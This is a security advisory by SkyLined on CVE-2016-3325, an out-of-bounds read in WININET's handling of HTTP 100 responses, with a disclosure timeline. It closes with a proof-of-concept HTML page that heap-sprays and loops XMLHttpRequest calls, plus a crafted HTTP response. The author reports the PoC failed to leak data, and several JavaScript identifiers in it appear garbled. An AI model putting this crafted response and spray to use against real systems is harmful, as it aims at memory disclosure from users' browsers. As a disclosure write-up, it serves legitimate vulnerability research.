WININET CHttpHeaderParser::ParseStatusLine Out-Of-Bounds Read

2016.11.11
Credit: SkyLined
Risk: High
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the eight entry in that series, although this particular vulnerability does not just affect web-browsers, but all applications that use WININET to make HTTP requests. The below information is available in more detail on my blog at http://blog.skylined.nl/20161110001.html. There you can find a repro that triggered this issue in addition to the information below. Follow me on http://twitter.com/berendjanwever for daily browser bugs. WININET CHttpHeaderParser::ParseStatusLine out-of-bounds read ============================================================= (MS16-105, CVE-2016-3325) Synopsis -------- A specially crafted HTTP response can cause the `CHttpHeaderParser:: ParseStatusLine` method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer. Known affected versions, attack vectors and mitigations ------------------------------------------------------- * WININET.dll The issue was first discovered in pre-release Windows 10 fbl_release.140912-1613, which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all). No mitigations against the issue are known. * Microsoft Internet Explorer XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it. * Microsoft Edge XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it. * Microsoft Windows Media Player Opening a link to a media file on a malicious server can be used to trigger the issue. Description ----------- When WININET is processing a `HTTP 100` response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer. When processing the headers of the `HTTP 100` request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to information disclosure. The larger the `HTTP 100` response is, the more bytes the code reads beyond the end of the data. Here are some example responses and their effect: "HTTP 100\r\n\r\nX" (12 bytes in HTTP 100 response) => read "X" and the next 11 bytes in memory as the next response. "HTTP 100\r\n\r\nXXXX" (12 bytes in HTTP 100 response) => read "XXXX" and the next 8 bytes in memory as the next response. "HTTP 100XXX\r\n\r\nX" (15 bytes in HTTP 100 response) => read "X" and the next 14 bytes in memory as the next response. "HTTP 100XXX........XXX\r\n\r\nX..." (N bytes in HTTP 100 response) => read "X" and the next (N-1) bytes in memory as the next response. Exploit ------- This issue is remarkably similar to [an issue in HTTP 1xx response handling I found in Google Chrome][https://code.google.com/p/chromium/issues/detail?id=299892] a while back. That issue allowed disclosure of information from the main process' memory through response headers. I attempted to leak some data using this vulnerability by using the following response: "HTTP 100XXX........XXX\r\nHTTP 200 X" I was hoping this would cause the OOB read to save data from beyond the end of the `HTTP 200` reponse in the `statusText` property of the `XMLHttpRequest`, but I did not immediately see this happen; all I got was "OK" or an empty string. Unfortunately, I did not have time to reverse the code and investigate further myself. All VCPs I submitted the issue to rejected it because they though it was not practically exploitable. Time-line --------- * October 2014: This vulnerability was found through fuzzing. * October-November 2014: This vulnerability was submitted to ZDI, iDefense and EIP. * November-December 2014: ZDI, iDefense and EIP all either reject the submission because Windows 10 is in pre-release, or fail to respond. * August 2015: re-submitted to ZDI, iDefense and EIP, since Windows 10 is now in public release. * September-October 2015: ZDI, iDefense and EIP all either reject the submission because they do not consider it practically exploitable, or fail to respond. * June 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue. * September 2016: The vulnerability was address by Microsoft in MS16-105. * November 2016: Details of this issue are released. Cheers, SkyLined Repro.html <!DOCTYPE html> <html> <head> <script> // This PoAC attempts to exploit a memory disclosure bug in WININET.dll // that affects Microsoft Edge and Internet Explorer. However, it fails // to reveal any information as intended. You might want to use this as // a starting point for further investigation. // See http://blog.skylined.nl/20161110001.html for details. window.onerror = function (a, b, c) { alert([a,b,c].join("\r\n")); } var aauAHeap = []; function spray() { aauAHoles = []; for (var u = 0; u < 0x10000; u++) { var auAHole = new Uint32Array(0x200 / 4); aauAHoles.push(auAHole); auAHole[0] = 0xADEADBEEF; auAHole[1] = 0x0D0A0D0A; auAHole[2] = 0x0; var auAHeap = new Uint32Array(0x200 / 4); aauAHeap.push(auAHeap); auAHeap[0] = 0x41424344; auAHeap[1] = 0x0D0A0D0A; auAHeap[2] = 0x0; } }; function sendARequest() { spray(); var oAXHR = new XMLHttpARequest(); oAXHR.open("GET", "Response.http?" + new Date().valueAOf()); oAXHR.send(); oAXHR.addAEventAListener("load", function() { alert("load: " + JSON.stringify(oAXHR.status) + " " + JSON.stringify(oAXHR.statusAText) + "\r\n" + JSON.stringify(oAXHR.responseAText)); setATimeout(sendARequest, 1000); }); oAXHR.addAEventAListener("error", function() { alert("error: " + JSON.stringify(oAXHR.status) + " " + JSON.stringify(oAXHR.statusAText) + "\r\n" + JSON.stringify(oAXHR.responseAText)); setATimeout(sendARequest, 1000); }); } sendARequest(); // This work by SkyALined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script> </head> </html> Response.http HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1 200 X


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